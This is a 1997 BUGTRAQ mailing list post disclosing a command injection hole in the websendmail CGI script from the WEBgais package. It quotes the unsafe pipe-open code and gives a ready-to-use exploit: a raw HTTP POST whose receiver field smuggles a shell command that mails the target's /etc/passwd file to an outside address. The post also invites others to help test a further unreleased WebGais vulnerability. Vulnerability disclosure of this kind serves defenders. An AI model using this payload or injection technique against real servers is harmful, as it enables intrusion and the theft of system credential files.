mailing list archives
Vulnerability in websendmail
From: drazvan () kappa ro (Razvan Dragomirescu)
Date: Fri, 4 Jul 1997 12:16:31 +0300
Since today is the 4th of July, this one is dedicated to all the American
readers of BUGTRAQ.
I'm surprised this wasn't posted on BUGTRAQ before. (If it's old news I'm
sorry, but I did not find it anywhere else).
So, websendmail is a cgi-bin that comes with the WEBgais package, which is
an interface to the GAIS search tool.
It is a PERL script that reads input from a form and sends e-mail to the
The version I am referring to is 1.0. It was released in 1995 but it is
still used (I've just tested it :) ).
As many other cgi-bin programs, this one does not check for special
characters in the user input.
Here's what it does:
$cmd="| $MAILBIN $VAR_receiver";
open (PIPEOUT, $cmd);
$VAR_receiver is read from the form. The script also does a little parsing
on the string to "un-webify" it (converts pluses to spaces and %xx
characters to their real value).
So if we set $VAR_receiver to ';mail+BUGTRAQ\ () NETSPACE ORG</etc/passwd;'
it will do the job (some of you know why I used this address ... :) ).
Now for the exploit:
telnet target.machine.com 80
POST /cgi-bin/websendmail HTTP/1.0
Content-length: xxx (should be replaced with the actual length of the
string passed to the server, in this case xxx=90)
receiver=;mail+BUGTRAQ\ () NETSPACE ORG</etc/passwd;&sender=a&rtnaddr=a&subject=a
Don't worry if the server displays an error message. The password file is
on the way :).
I think that's all.
Oh, and BTW, if anyone has WebGais installed and working on his computer
and wants to give me a hand in testing some new vulnerability in webgais
(I've found it but I need to test it), please contact me.
And, as always, I'm expecting to hear from you.
drazvan () kappa ro, drazvan () romania ro, drazvan () roedu net
"Smile, tomorrow will be worse" (Murphy)